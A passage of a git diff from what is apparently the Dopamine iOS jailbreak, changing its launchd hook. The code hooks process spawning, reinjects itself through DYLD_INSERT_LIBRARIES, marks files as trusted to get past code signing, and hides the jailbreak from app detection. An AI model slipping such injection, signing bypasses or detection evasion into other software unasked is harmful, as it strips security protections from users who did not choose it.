JBS_TYPE_STRING, .out = true }, { .name = "sandbox-extensions", .type = JBS_TYPE_STRING, .out = true }, + { .name = "fully-debugged", .type = JBS_TYPE_BOOL, .out = true }, { 0 }, }, }, @@ -262,6 +476,22 @@ struct jbserver_domain gSystemwideDomain = { { 0 }, }, }, + // JBS_SYSTEMWIDE_CS_REVALIDATE + { + .handler = systemwide_cs_revalidate, + .args = (jbserver_arg[]) { + { .name = "caller-token", .type = JBS_TYPE_CALLER_TOKEN, .out = false }, + { 0 }, + }, + }, + // JBS_SYSTEMWIDE_JBSETTINGS_GET + { + .handler = jbsettings_get, + .args = (jbserver_arg[]){ + { .name = "key", .type = JBS_TYPE_STRING, .out = false }, + { .name = "value", .type = JBS_TYPE_XPC_GENERIC, .out = true }, + }, + }, { 0 }, }, }; \ No newline at end of file diff --git a/BaseBin/launchdhook/src/jbserver/jbdomain_watchdog.c b/BaseBin/launchdhook/src/jbserver/jbdomain_watchdog.c index d7726f7f58..7062c1c555 100644 --- a/BaseBin/launchdhook/src/jbserver/jbdomain_watchdog.c +++ b/BaseBin/launchdhook/src/jbserver/jbdomain_watchdog.c @@ -1,15 +1,49 @@ #include "jbserver_global.h" +#include +#include +#include +#include "../crashreporter.h" + static bool watchdog_domain_allowed(audit_token_t clientToken) { - return true; + xpc_object_t entitlementValue = xpc_copy_entitlement_for_token("com.apple.private.iowatchdog.user-access", &clientToken); + if (entitlementValue && xpc_get_type(entitlementValue) == XPC_TYPE_BOOL) { + return xpc_bool_get_value(entitlementValue); + } + return false; } static int watchdog_intercept_userspace_panic(const char *panicMessage) { + FILE *outFile = crashreporter_open_outfile("userspace-panic", NULL); + if (outFile) { + fprintf(outFile, "\n%s", panicMessage); + fprintf(outFile, "\n\nThis panic was prevented by Dopamine and a userspace reboot was done instead."); + crashreporter_save_outfile(outFile); + } + + setenv("WATCHDOG_PANIC_MESSAGE", panicMessage, 1); + FILE *touchFile = fopen(JBROOT_PATH("/basebin/.safe_mode"), "w"); + fclose(touchFile); + return 0; } +static int watchdog_get_last_userspace_panic(char **panicMessage) +{ + char *messageInEnv = getenv("WATCHDOG_PANIC_MESSAGE"); + if (messageInEnv) { + *panicMessage = strdup(messageInEnv); + unsetenv("WATCHDOG_PANIC_MESSAGE"); + return 0; + } + else { + *panicMessage = NULL; + return 1; + } +} + struct jbserver_domain gWatchdogDomain = { .permissionHandler = watchdog_domain_allowed, .actions = { @@ -21,6 +55,14 @@ struct jbserver_domain gWatchdogDomain = { { 0 }, }, }, + // JBS_WATCHDOG_GET_LAST_USERSPACE_PANIC + { + .handler = watchdog_get_last_userspace_panic, + .args = (jbserver_arg[]){ + { .name = "panic-message", .type = JBS_TYPE_STRING, .out = true }, + { 0 }, + }, + }, { 0 }, }, }; \ No newline at end of file diff --git a/BaseBin/launchdhook/src/jbserver/jbserver_local.c b/BaseBin/launchdhook/src/jbserver/jbserver_local.c new file mode 100644 index 0000000000..b4929e4205 --- /dev/null +++ b/BaseBin/launchdhook/src/jbserver/jbserver_local.c @@ -0,0 +1,55 @@ +#include "jbserver_global.h" +#include +#include + +volatile bool gLocalJBServerRunning = false; +pthread_t gLocalJBServerThread = NULL; +mach_port_t gLocalJBServerPort = MACH_PORT_NULL; + +void *jbserver_local_loop(void *arg) +{ + while (gLocalJBServerRunning) { + xpc_object_t xdict = NULL; + if (!xpc_pipe_receive(gLocalJBServerPort, &xdict)) { + jbserver_received_xpc_message(&gGlobalServer, xdict); + xpc_release(xdict); + } + } + return NULL; +} + +mach_port_t jbserver_local_start(void) +{ + if (gLocalJBServerRunning) return gLocalJBServerPort; + + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &gLocalJBServerPort); + mach_port_insert_right(mach_task_self(), gLocalJBServerPort, gLocalJBServerPort, MACH_MSG_TYPE_MAKE_SEND); + + gLocalJBServerRunning = true; + pthread_create(&gLocalJBServerThread, NULL, (void *(*)(void *))jbserver_local_loop, NULL); + + return gLocalJBServerPort; +} + +void jbserver_local_stop(void) +{ + if (!gLocalJBServerRunning) return; + + gLocalJBServerRunning = false; + + // Send a message to server to wake the thread up (which will make it exit since gLocalJBServerRunning is false) + mach_msg_header_t h; + h.msgh_bits = MACH_MSGH_BITS_REMOTE(MACH_MSG_TYPE_MAKE_SEND); + h.msgh_size = sizeof(h); + h.msgh_remote_port = gLocalJBServerPort; + h.msgh_local_port = MACH_PORT_NULL; + mach_msg_send(&h); + + // Now, wait for it to finish + void *r; + pthread_join(gLocalJBServerThread, &r); + + mach_port_deallocate(mach_task_self(), gLocalJBServerPort); + gLocalJBServerPort = MACH_PORT_NULL; + gLocalJBServerThread = NULL; +} \ No newline at end of file diff --git a/BaseBin/launchdhook/src/jbserver/jbserver_local.h b/BaseBin/launchdhook/src/jbserver/jbserver_local.h new file mode 100644 index 0000000000..96edae8f51 --- /dev/null +++ b/BaseBin/launchdhook/src/jbserver/jbserver_local.h @@ -0,0 +1,7 @@ +#ifndef __JBSERVER_LOCAL +#define __JBSERVER_LOCAL + +mach_port_t jbserver_local_start(void); +void jbserver_local_stop(void); + +#endif \ No newline at end of file diff --git a/BaseBin/launchdhook/src/jbserver/jbserver_mach.c b/BaseBin/launchdhook/src/jbserver/jbserver_mach.c new file mode 100644 index 0000000000..bdcd9d1e51 --- /dev/null +++ b/BaseBin/launchdhook/src/jbserver/jbserver_mach.c @@ -0,0 +1,173 @@ +#include +#include +#include +#include +#include +extern int fileport_makefd (mach_port_t port); + +int systemwide_process_checkin(audit_token_t *processToken, char **rootPathOut, char **bootUUIDOut, char **sandboxExtensionsOut, bool *fullyDebuggedOut); +int systemwide_fork_fix(audit_token_t *parentToken, uint64_t childPid); +int systemwide_trust_file(audit_token_t *processToken, int rfd, struct siginfo *siginfo, size_t siginfoSize); + +bool systemwide_domain_allowed(audit_token_t clientToken); + +int jbserver_send_mach_reply(mach_msg_header_t *hdr, void *replyData) +{ + kern_return_t kr = -1; + + if (replyData && MACH_PORT_VALID(hdr->msgh_remote_port) && MACH_MSGH_BITS_REMOTE(hdr->msgh_bits) != 0) { + struct jbserver_mach_msg_reply *reply = (struct jbserver_mach_msg_reply *)replyData; + + // Send reply + uint32_t bits = MACH_MSGH_BITS_REMOTE(hdr->msgh_bits); + if (bits == MACH_MSG_TYPE_COPY_SEND) + bits = MACH_MSG_TYPE_MOVE_SEND; + + reply->msg.hdr.msgh_bits = MACH_MSGH_BITS(bits, 0); + // size already set + reply->msg.hdr.msgh_remote_port = hdr->msgh_remote_port; + reply->msg.hdr.msgh_local_port = 0; + reply->msg.hdr.msgh_voucher_port = 0; + reply->msg.hdr.msgh_id = hdr->msgh_id + 100; + + kr = mach_msg_send(&reply->msg.hdr); + if (kr == KERN_SUCCESS /*|| kr == MACH_SEND_INVALID_MEMORY || kr == MACH_SEND_INVALID_RIGHT || kr == MACH_SEND_INVALID_TYPE || kr == MACH_SEND_MSG_TOO_SMALL*/) { + // All of these imply the message was either sent or destroyed + // -> Kill the reply port in the original message as we certainly got rid of the associated right + hdr->msgh_remote_port = 0; + hdr->msgh_bits = hdr->msgh_bits & ~MACH_MSGH_BITS_REMOTE_MASK; + } + } + + return kr; +} + +int jbserver_received_mach_message(audit_token_t *auditToken, struct jbserver_mach_msg *jbsMachMsg) +{ + int r = -1; + + // Anything implemented by the mach server is provided systemwide + // So we also need to honor the allowed handler of the systemwide domain + if (!systemwide_domain_allowed(*auditToken)) return -1; + + uint64_t msgSize = jbsMachMsg->hdr.msgh_size; + void *replyData = NULL; + + if (jbsMachMsg->action == JBSERVER_MACH_CHECKIN) { + if (msgSize < sizeof(struct jbserver_mach_msg_checkin)) return -1; + struct jbserver_mach_msg_checkin *checkinMsg = (struct jbserver_mach_msg_checkin *)jbsMachMsg; + + size_t replySize = sizeof(struct jbserver_mach_msg_checkin_reply); + replyData = malloc(replySize); + struct jbserver_mach_msg_checkin_reply *reply = (struct jbserver_mach_msg_checkin_reply *)replyData; + memset(reply, 0, replySize); + + char *jbRootPath = NULL, *bootUUID = NULL, *sandboxExtensions = NULL; + bool fullyDebugged = false; + int result = systemwide_process_checkin(auditToken, &jbRootPath, &bootUUID, &sandboxExtensions, &reply->fullyDebugged); + + reply->base.msg.magic = jbsMachMsg->magic; + reply->base.msg.action = jbsMachMsg->action; + reply->base.msg.hdr.msgh_size = replySize; + + if (jbRootPath) { + strlcpy(reply->jbRootPath, jbRootPath, sizeof(reply->jbRootPath)); + free(jbRootPath); + } + if (bootUUID) { + strlcpy(reply->bootUUID, bootUUID, sizeof(reply->bootUUID)); + free(bootUUID); + } + if (sandboxExtensions) { + strlcpy(reply->sandboxExtensions, sandboxExtensions, sizeof(reply->sandboxExtensions)); + free(sandboxExtensions); + } + + reply->base.status = result; + r = 0; + } + else if (jbsMachMsg->action == JBSERVER_MACH_FORK_FIX) { + if (msgSize < sizeof(struct jbserver_mach_msg_forkfix)) return -1; + struct jbserver_mach_msg_forkfix *forkfixMsg = (struct jbserver_mach_msg_forkfix *)jbsMachMsg; + + size_t replySize = sizeof(struct jbserver_mach_msg_forkfix_reply); + replyData = malloc(replySize); + struct jbserver_mach_msg_forkfix_reply *reply = (struct jbserver_mach_msg_forkfix_reply *)replyData; + memset(reply, 0, replySize); + + int result = systemwide_fork_fix(auditToken, forkfixMsg->childPid); + + reply->base.msg.magic = jbsMachMsg->magic; + reply->base.msg.action = jbsMachMsg->action; + reply->base.msg.hdr.msgh_size = replySize; + + reply->base.status = result; + r = 0; + } + else if (jbsMachMsg->action == JBSERVER_MACH_TRUST_FILE) { + if (msgSize < sizeof(struct jbserver_mach_msg_trust_fd)) return -1; + struct jbserver_mach_msg_trust_fd *trustMsg = (struct jbserver_mach_msg_trust_fd *)jbsMachMsg; + + size_t replySize = sizeof(struct jbserver_mach_msg_trust_fd_reply); + replyData = malloc(replySize); + struct jbserver_mach_msg_trust_fd_reply *reply = (struct jbserver_mach_msg_trust_fd_reply *)replyData; + memset(reply, 0, replySize); + + int result = systemwide_trust_file(auditToken, trustMsg->fd, trustMsg->siginfoPopulated ? &trustMsg->siginfo : NULL, sizeof(struct siginfo)); + + reply->base.msg.magic = jbsMachMsg->magic; + reply->base.msg.action = jbsMachMsg->action; + reply->base.msg.hdr.msgh_size = replySize; + + reply->base.status = result; + r = 0; + } + + jbserver_send_mach_reply(&jbsMachMsg->hdr, replyData); + + if (replyData) free(replyData); + + return r; +} + +/*int jbserver_received_complex_mach_message(audit_token_t *auditToken, uint64_t action, struct jbserver_mach_complex_msg *jbsComplexMachMsg) +{ + int r = -1; + + // Anything implemented by the mach server is provided systemwide + // So we also need to honor the allowed handler of the systemwide domain + if (!systemwide_domain_allowed(*auditToken)) return -1; + + uint64_t msgSize = jbsComplexMachMsg->hdr.msgh_size; + void *replyData = NULL; + + if (action == JBSERVER_MACH_TRUST_FILE) { + if (msgSize < sizeof(struct jbserver_mach_msg_trust_fd)) return -1; + struct jbserver_mach_msg_trust_fd *trustFdMsg = (struct jbserver_mach_msg_trust_fd *)jbsComplexMachMsg; + if (trustFdMsg->base.body.msgh_descriptor_count != 1) return -1; + + int fd = fileport_makefd(trustFdMsg->fdPort.name); + if (fd < 0) return -1; + + size_t replySize = sizeof(struct jbserver_mach_msg_trust_fd_reply); + replyData = malloc(replySize); + struct jbserver_mach_msg_trust_fd_reply *reply = (struct jbserver_mach_msg_trust_fd_reply *)replyData; + memset(reply, 0, replySize); + + int result = systemwide_trust_file(fd); + close(fd); + + reply->base.msg.magic = JBSERVER_MACH_MAGIC; + reply->base.msg.action = action; + reply->base.msg.hdr.msgh_size = replySize; + + reply->base.status = result; + r = 0; + } + + jbserver_send_mach_reply(&jbsComplexMachMsg->hdr, replyData); + + if (replyData) free(replyData); + + return r; +}*/ \ No newline at end of file diff --git a/BaseBin/launchdhook/src/jbserver/jbsettings.c b/BaseBin/launchdhook/src/jbserver/jbsettings.c new file mode 100644 index 0000000000..39ba5ddd70 --- /dev/null +++ b/BaseBin/launchdhook/src/jbserver/jbsettings.c @@ -0,0 +1,28 @@ +#include "jbsettings.h" +#include + +int jbsettings_get(const char *key, xpc_object_t *valueOut) +{ + if (!strcmp(key, "markAppsAsDebugged")) { + *valueOut = xpc_bool_create(jbsetting(markAppsAsDebugged)); + return 0; + } + else if (!strcmp(key, "jetsamMultiplier")) { + *valueOut = xpc_double_create(jbsetting(jetsamMultiplier)); + return 0; + } + return -1; +} + +int jbsettings_set(const char *key, xpc_object_t value) +{ + if (!strcmp(key, "markAppsAsDebugged") && xpc_get_type(value) == XPC_TYPE_BOOL) { + gSystemInfo.jailbreakSettings.markAppsAsDebugged = xpc_bool_get_value(value); + return 0; + } + else if (!strcmp(key, "jetsamMultiplier") && xpc_get_type(value) == XPC_TYPE_DOUBLE) { + gSystemInfo.jailbreakSettings.jetsamMultiplier = xpc_double_get_value(value); + return 0; + } + return -1; +} \ No newline at end of file diff --git a/BaseBin/launchdhook/src/jbserver/jbsettings.h b/BaseBin/launchdhook/src/jbserver/jbsettings.h new file mode 100644 index 0000000000..cf81524f50 --- /dev/null +++ b/BaseBin/launchdhook/src/jbserver/jbsettings.h @@ -0,0 +1,4 @@ +#include + +int jbsettings_get(const char *key, xpc_object_t *valueOut); +int jbsettings_set(const char *key, xpc_object_t value); diff --git a/BaseBin/launchdhook/src/jetsam_hook.c b/BaseBin/launchdhook/src/jetsam_hook.c index 853336471d..f921422433 100644 --- a/BaseBin/launchdhook/src/jetsam_hook.c +++ b/BaseBin/launchdhook/src/jetsam_hook.c @@ -2,7 +2,7 @@ #include #include #include -#include "substrate.h" +#include // Allocated page tables (done by physrw handoff) count towards the physical memory footprint of the process that created them // Unfortunately that means jetsam kills us if we do it too often @@ -19,5 +19,7 @@ int memorystatus_control_hook(uint32_t command, int32_t pid, uint32_t flags, voi void initJetsamHook(void) { + memorystatus_control(MEMORYSTATUS_CMD_SET_JETSAM_TASK_LIMIT, 1, -1, NULL, 0); + memorystatus_control(MEMORYSTATUS_CMD_SET_JETSAM_HIGH_WATER_MARK, 1, -1, NULL, 0); MSHookFunction((void *)memorystatus_control, (void *)memorystatus_control_hook, (void **)&memorystatus_control_orig); } \ No newline at end of file diff --git a/BaseBin/launchdhook/src/main.m b/BaseBin/launchdhook/src/main.m index dd70069cb8..9ac89f2f09 100644 --- a/BaseBin/launchdhook/src/main.m +++ b/BaseBin/launchdhook/src/main.m @@ -2,38 +2,81 @@ #import #import #import +#import #import +#import +#import #import +#import +#import #import #import "spawn_hook.h" #import "xpc_hook.h" #import "daemon_hook.h" #import "ipc_hook.h" -#import "dsc_hook.h" #import "jetsam_hook.h" #import "crashreporter.h" #import "boomerang.h" #import "update.h" +#import "jbserver/jbserver_local.h" +#import "asl.h" -bool gEarlyBootDone = false; +bool gInEarlyBoot = true; void abort_with_reason(uint32_t reason_namespace, uint64_t reason_code, const char *reason_string, uint64_t reason_flags); +extern void systemwide_domain_set_enabled(bool enabled); -void (*org_abort)(void); -void my_abort(void) +// Boot logo drawing invokes some IOKit stuff that seems to initialize os_log / asl +// We need to temporarily set asl_enabled to false so that it will skip that initialization +// If we don't do this and it does the initialization, we will cause an assert in _os_log_simple_reinit_4launchd later +void exec_with_asl_disabled(void (^block)(void)) { - FILE *f = fopen("/var/mobile/launchd.abort.txt", "a"); - fprintf(f, "%s\n\n", [NSThread callStackSymbols].description.UTF8String); - fclose(f); - sleep(1); - org_abort(); + struct asl_context *aslCtx = os_alloc_once(OS_ALLOC_ONCE_KEY_LIBSYSTEM_PLATFORM_ASL, sizeof(struct asl_context), NULL); + aslCtx->asl_enabled = false; + block(); + aslCtx->asl_enabled = true; +} + +void draw_boot_logo(const char *bootLogoPath) +{ + if (bootLogoPath) { + if (!access(bootLogoPath, R_OK)) { + // When launchd tears down the userspace, it will do so in no particular order + // If SpringBoard gets unloaded before backboardd, backboardd will draw a spinning wheel to the framebuffer + // If this happens after we wrote the boot logo to the framebuffer, it will be replaced by that + // Therefore, we kill backboardd early so that this race does not happen + killall("/usr/libexec/backboardd", SIGTERM); + exec_with_asl_disabled(^{ + display_draw_image_path(bootLogoPath); + }); + } + } +} + +int (*sysctlbyname_orig)(const char *name, void *oldp, size_t *oldlenp, void *newp, size_t newlen) = NULL; +int sysctlbyname_hook(const char *name, void *oldp, size_t *oldlenp, void *newp, size_t newlen) +{ + int r = sysctlbyname_orig(name, oldp, oldlenp, newp, newlen); + if (!strcmp(name, "kern.willuserspacereboot")) { + draw_boot_logo(JBROOT_PATH("/basebin/bootlogo.jp2")); + } + return r; } __attribute__((constructor)) static void initializer(void) { crashreporter_start(); + // Retrieve jbroot path early based on our dylib path (/basebin/launchd) so we can use JBROOT_PATH before boomerang_recoverPrimitives + @autoreleasepool { + Dl_info selfInfo; + if (dladdr(&initializer, &selfInfo) != 0) { + NSString *selfPath = [NSString stringWithUTF8String:selfInfo.dli_fname]; + gSystemInfo.jailbreakInfo.rootPath = strdup(selfPath.stringByDeletingLastPathComponent.stringByDeletingLastPathComponent.fileSystemRepresentation); + } + } + // If we performed a jbupdate before the userspace reboot, these vars will be set // In that case, we want to run finalizers const char *jbupdatePrevVersion = getenv("JBUPDATE_PREV_VERSION"); @@ -45,11 +88,25 @@ void my_abort(void) bool firstLoad = false; if (getenv("DOPAMINE_INITIALIZED") != 0) { // If Dopamine was initialized before, we assume we're coming from a userspace reboot + + // Stock bug: These prefs wipe themselves after a reboot (they contain a boot time and this is matched when they're loaded) + // But on userspace reboots, they apparently do not get wiped as the boot time doesn't change + // We could try to change the boot time ourselves, but I'm worried of potential side effects + // So we just wipe the offending preferences ourselves + // In practice this fixes nano launch daemons not being loaded after the userspace reboot, resulting in certain apple watch features breaking + if (!access("/var/mobile/Library/Preferences/com.apple.NanoRegistry.NRRootCommander.volatile.plist", W_OK)) { + remove("/var/mobile/Library/Preferences/com.apple.NanoRegistry.NRRootCommander.volatile.plist"); + } + if (!access("/var/mobile/Library/Preferences/com.apple.NanoRegistry.NRLaunchNotificationController.volatile.plist", W_OK)) { + remove("/var/mobile/Library/Preferences/com.apple.NanoRegistry.NRLaunchNotificationController.volatile.plist"); + } + + draw_boot_logo(JBROOT_PATH("/basebin/bootlogo.jp2")); } else { // Here we should have been injected into a live launchd on the fly // In this case, we are not in early boot... - gEarlyBootDone = true; + gInEarlyBoot = false; firstLoad = true; } @@ -73,18 +130,34 @@ void my_abort(void) initDaemonHooks(); initSpawnHooks(); initIPCHooks(); - initDSCHooks(); initJetsamHook(); - MSHookFunction((void *)abort, (void *)&my_abort, (void **)&org_abort); + MSHookFunction((void *)sysctlbyname, (void *)sysctlbyname_hook, (void **)&sysctlbyname_orig); + + if (getenv("DOPAMINE_IS_HIDDEN") != 0) { + // If the jailbreak is currently hidden, fakelib had to be mounted again before the userspace reboot + // Now that the userspace reboot is over, we can unmount it again + + // Just like when we mount it inside the posix_spawn hook, the jbserver is not up at this point in time + // So we need to host our own here again, just so that jbctl can talk to it + mach_port_t serverPort = jbserver_local_start(); + jbctl_earlyboot(serverPort, "internal", "fakelib", "unmount", NULL); + jbserver_local_stop(); + + // Also disable the systemwide domain again + systemwide_domain_set_enabled(false); + + // No need to keep this around + unsetenv("DOPAMINE_IS_HIDDEN"); + } // This will ensure launchdhook is always reinjected after userspace reboots // As this launchd will pass environ to the next launchd... - setenv("DYLD_INSERT_LIBRARIES", JBRootPath("/basebin/launchdhook.dylib"), 1); + setenv("DYLD_INSERT_LIBRARIES", JBROOT_PATH("/basebin/launchdhook.dylib"), 1); // Mark Dopamine as having been initialized before setenv("DOPAMINE_INITIALIZED", "1", 1); - // Set an identifier that uniquely identifies this specific userspace boot + // Set an identifier that uniquely identifies this userspace boot // Part of rootless v2 spec - setenv("LAUNCH_BOOT_UUID", [NSUUID UUID].UUIDString.UTF8String, 1); + setenv("LAUNCHD_UUID", [NSUUID UUID].UUIDString.UTF8String, 1); } \ No newline at end of file diff --git a/BaseBin/launchdhook/src/spawn_hook.c b/BaseBin/launchdhook/src/spawn_hook.c index 99951b6eb3..9305d74d96 100644 --- a/BaseBin/launchdhook/src/spawn_hook.c +++ b/BaseBin/launchdhook/src/spawn_hook.c @@ -3,40 +3,65 @@ #include "boomerang.h" #include "crashreporter.h" #include "update.h" -#include "substrate.h" +#include +#include #include #include #include +#include "jbserver/jbserver_local.h" extern char **environ; -extern int systemwide_trust_binary(const char *binaryPath); +void abort_with_reason(uint32_t reason_namespace, uint64_t reason_code, const char *reason_string, uint64_t reason_flags); + +extern int systemwide_trust_file_by_path(const char *path); +extern int platform_set_process_debugged(uint64_t pid, bool fullyDebugged); +extern void systemwide_domain_set_enabled(bool enabled); #define LOG_PROCESS_LAUNCHES 0 -void *posix_spawn_orig; -extern bool gEarlyBootDone; +extern bool gInEarlyBoot; + +void early_boot_done(void) +{ + gInEarlyBoot = false; +} -int posix_spawn_orig_wrapper(pid_t *restrict pid, const char *restrict path, - const posix_spawn_file_actions_t *restrict file_actions, - const posix_spawnattr_t *restrict attrp, +void ensure_fakelib_mounted(void) +{ + struct statfs fsb; + if (statfs("/usr/lib", &fsb) != 0) return; + if (strcmp(fsb.f_mntonname, "/usr/lib") != 0) { + systemwide_domain_set_enabled(true); + + // The jailbreak server is not reachable at this point in the launchd lifecycle + // So we need to host our own, just so that jbctl can talk to it + mach_port_t serverPort = jbserver_local_start(); + jbctl_earlyboot(serverPort, "internal", "fakelib", "mount", NULL); + jbserver_local_stop(); + + // Note down that the jailbreak was hidden + // So that after the userspace reboot, we can unmount fakelib again + setenv("DOPAMINE_IS_HIDDEN", "1", true); + } +} + +int __posix_spawn_orig_wrapper(pid_t *restrict pid, const char *restrict path, + struct _posix_spawn_args_desc *desc, char *const argv[restrict], char *const envp[restrict]) { - int (*orig)(pid_t *restrict, const char *restrict, const posix_spawn_file_actions_t *restrict, const posix_spawnattr_t *restrict, char *const[restrict], char *const[restrict]) = posix_spawn_orig; - // we need to disable the crash reporter during the orig call // otherwise the child process inherits the exception ports // and this would trip jailbreak detections crashreporter_pause(); - int r = orig(pid, path, file_actions, attrp, argv, envp); + int r = __posix_spawn_orig(pid, path, desc, argv, envp); crashreporter_resume(); return r; } -int posix_spawn_hook(pid_t *restrict pid, const char *restrict path, - const posix_spawn_file_actions_t *restrict file_actions, - const posix_spawnattr_t *restrict attrp, +int __posix_spawn_hook(pid_t *restrict pid, const char *restrict path, + struct _posix_spawn_args_desc *desc, char *const argv[restrict], char *const envp[restrict]) { @@ -49,13 +74,21 @@ int posix_spawn_hook(pid_t *restrict pid, const char *restrict path, // Instead of the ordinary hook, we want to reinsert this dylib // This has already been done in envp so we only need to call the original posix_spawn + // We are back in "early boot" for the remainder of this launchd instance + // Mainly so we don't lock up while spawning boomerang + gInEarlyBoot = true; + + // If the jailbreak is currently hidden, fakelib is not mounted + // It needs to be mounted to regain launchd code execution after the userspace reboot + ensure_fakelib_mounted(); + #if LOG_PROCESS_LAUNCHES FILE *f = fopen("/var/mobile/launch_log.txt", "a"); fprintf(f, "==== USERSPACE REBOOT ====\n"); fclose(f); #endif - // But before, we want to stash the primitives in boomerang + // Before the userspace reboot, we want to stash the primitives into boomerang boomerang_stashPrimitives(); // Fix Xcode debugging being broken after the userspace reboot @@ -65,16 +98,19 @@ int posix_spawn_hook(pid_t *restrict pid, const char *restrict path, const char *stagedJailbreakUpdate = getenv("STAGED_JAILBREAK_UPDATE"); if (stagedJailbreakUpdate) { int r = jbupdate_basebin(stagedJailbreakUpdate); + if (r != 0) { + char msg[1000]; + snprintf(msg, 1000, "Failed updating basebin (error %d).", r); + abort_with_reason(7, 1, msg, 0); + } unsetenv("STAGED_JAILBREAK_UPDATE"); - - // Update envp to reflect our changes - // setenv / unsetenv can sometimes cause environ to get reallocated - // In that case envp may point to garbage or be empty - envp = environ; } + // Always use environ instead of envp, as boomerang_stashPrimitives calls setenv + // setenv / unsetenv can sometimes cause environ to get reallocated + // In that case envp may point to garbage or be empty // Say goodbye to this process - return posix_spawn_orig_wrapper(pid, path, file_actions, attrp, argv, envp); + return __posix_spawn_orig_wrapper(pid, path, desc, argv, environ); } } @@ -83,7 +119,7 @@ int posix_spawn_hook(pid_t *restrict pid, const char *restrict path, FILE *f = fopen("/var/mobile/launch_log.txt", "a"); fprintf(f, "%s", path); int ai = 0; - while (true) { + while (argv) { if (argv[ai]) { if (ai >= 1) { fprintf(f, " %s", argv[ai]); @@ -108,8 +144,7 @@ int posix_spawn_hook(pid_t *restrict pid, const char *restrict path, // FILE *f = fopen("/var/mobile/launch_log.txt", "a"); // fprintf(f, "blocked injection %s\n", firstArg); // fclose(f); - // int (*orig)(pid_t *restrict, const char *restrict, const posix_spawn_file_actions_t *restrict, const posix_spawnattr_t *restrict, char *const[restrict], char *const[restrict]) = posix_spawn_orig; - // return orig(pid, path, file_actions, attrp, argv, envp); + // return __posix_spawn_orig_wrapper(pid, path, file_actions, desc, envp); // } // } // } @@ -117,21 +152,22 @@ int posix_spawn_hook(pid_t *restrict pid, const char *restrict path, #endif // We can't support injection into processes that get spawned before the launchd XPC server is up - if (!gEarlyBootDone) { + // (Technically we could but there is little reason to, since it requires additional work) + if (gInEarlyBoot) { if (!strcmp(path, "/usr/libexec/xpcproxy")) { // The spawned process being xpcproxy indicates that the launchd XPC server is up // All processes spawned including this one should be injected into - gEarlyBootDone = true; + early_boot_done(); } else { - return posix_spawn_orig_wrapper(pid, path, file_actions, attrp, argv, envp); + return __posix_spawn_orig_wrapper(pid, path, desc, argv, envp); } } - return spawn_hook_common(pid, path, file_actions, attrp, argv, envp, posix_spawn_orig_wrapper, systemwide_trust_binary); + return posix_spawn_hook_shared(pid, path, desc, argv, envp, __posix_spawn_orig_wrapper, systemwide_trust_file_by_path, platform_set_process_debugged, jbsetting(jetsamMultiplier)); } void initSpawnHooks(void) { - MSHookFunction(&posix_spawn, (void *)posix_spawn_hook, &posix_spawn_orig); + MSHookFunction(&__posix_spawn, (void *)__posix_spawn_hook, NULL); } \ No newline at end of file diff --git a/BaseBin/launchdhook/src/update.m b/BaseBin/launchdhook/src/update.m index 57adb7f8d1..1a1ce58ca5 100644 --- a/BaseBin/launchdhook/src/update.m +++ b/BaseBin/launchdhook/src/update.m @@ -1,6 +1,9 @@ #include #include #include +#include +#include +#include #include #include @@ -14,7 +17,7 @@ int jbupdate_basebin(const char *basebinTarPath) int r = 0; if (access(basebinTarPath, F_OK) != 0) return 1; - NSString *prevVersion = [NSString stringWithContentsOfFile:NSJBRootPath(@"/basebin/.version") encoding:NSUTF8StringEncoding error:nil] ?: @"2.0"; + NSString *prevVersion = [NSString stringWithContentsOfFile:JBROOT_PATH(@"/basebin/.version") encoding:NSUTF8StringEncoding error:nil] ?: @"2.0"; // Extract basebin tar NSString *tmpExtractionPath = [NSTemporaryDirectory() stringByAppendingPathComponent:[NSUUID UUID].UUIDString]; @@ -47,7 +50,7 @@ int jbupdate_basebin(const char *basebinTarPath) NSArray *newBasebinContents = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:tmpBasebinPath error:nil]; for (NSString *basebinItem in newBasebinContents) { NSString *newBasebinPath = [tmpBasebinPath stringByAppendingPathComponent:basebinItem]; - NSString *oldBasebinPath = [NSJBRootPath(@"basebin") stringByAppendingPathComponent:basebinItem]; + NSString *oldBasebinPath = [JBROOT_PATH(@"/basebin") stringByAppendingPathComponent:basebinItem]; if ([[NSFileManager defaultManager] fileExistsAtPath:oldBasebinPath]) { [[NSFileManager defaultManager] removeItemAtPath:oldBasebinPath error:nil]; } @@ -55,11 +58,8 @@ int jbupdate_basebin(const char *basebinTarPath) } [[NSFileManager defaultManager] removeItemAtPath:tmpExtractionPath error:nil]; - // Update systemhook in fakelib - [[NSFileManager defaultManager] copyItemAtPath:NSJBRootPath(@"basebin/systemhook.dylib") toPath:NSJBRootPath(@"basebin/.fakelib/systemhook.dylib") error:nil]; - // Patch basebin plists - NSURL *basebinDaemonsURL = [NSURL fileURLWithPath:NSJBRootPath(@"/basebin/LaunchDaemons")]; + NSURL *basebinDaemonsURL = [NSURL fileURLWithPath:JBROOT_PATH(@"/basebin/LaunchDaemons")]; for (NSURL *basebinDaemonURL in [[NSFileManager defaultManager] contentsOfDirectoryAtURL:basebinDaemonsURL includingPropertiesForKeys:nil options:0 error:nil]) { NSString *plistPath = basebinDaemonURL.path; NSMutableDictionary *plistDict = [NSMutableDictionary dictionaryWithContentsOfFile:plistPath]; @@ -68,7 +68,7 @@ int jbupdate_basebin(const char *basebinTarPath) NSMutableArray *programArguments = ((NSArray *)plistDict[@"ProgramArguments"]).mutableCopy; for (NSString *argument in [programArguments reverseObjectEnumerator]) { if ([argument containsString:@"@JBROOT@"]) { - programArguments[[programArguments indexOfObject:argument]] = [argument stringByReplacingOccurrencesOfString:@"@JBROOT@" withString:NSJBRootPath(@"/")]; + programArguments[[programArguments indexOfObject:argument]] = [argument stringByReplacingOccurrencesOfString:@"@JBROOT@" withString:JBROOT_PATH(@"/")]; madeChanges = YES; } } @@ -79,7 +79,7 @@ int jbupdate_basebin(const char *basebinTarPath) } } - NSString *newVersion = [NSString stringWithContentsOfFile:NSJBRootPath(@"/basebin/.version") encoding:NSUTF8StringEncoding error:nil]; + NSString *newVersion = [NSString stringWithContentsOfFile:JBROOT_PATH(@"/basebin/.version") encoding:NSUTF8StringEncoding error:nil]; if (!newVersion) return 6; setenv("JBUPDATE_PREV_VERSION", prevVersion.UTF8String, 1); @@ -105,30 +105,40 @@ void jbupdate_update_system_info(void) void (*xpf_stop)(void) = dlsym(xpfHandle, "xpf_stop"); xpc_object_t (*xpf_construct_offset_dictionary)(const char *sets[]) = dlsym(xpfHandle, "xpf_construct_offset_dictionary"); - // XXX: this is a hack - const char *kernelPath = 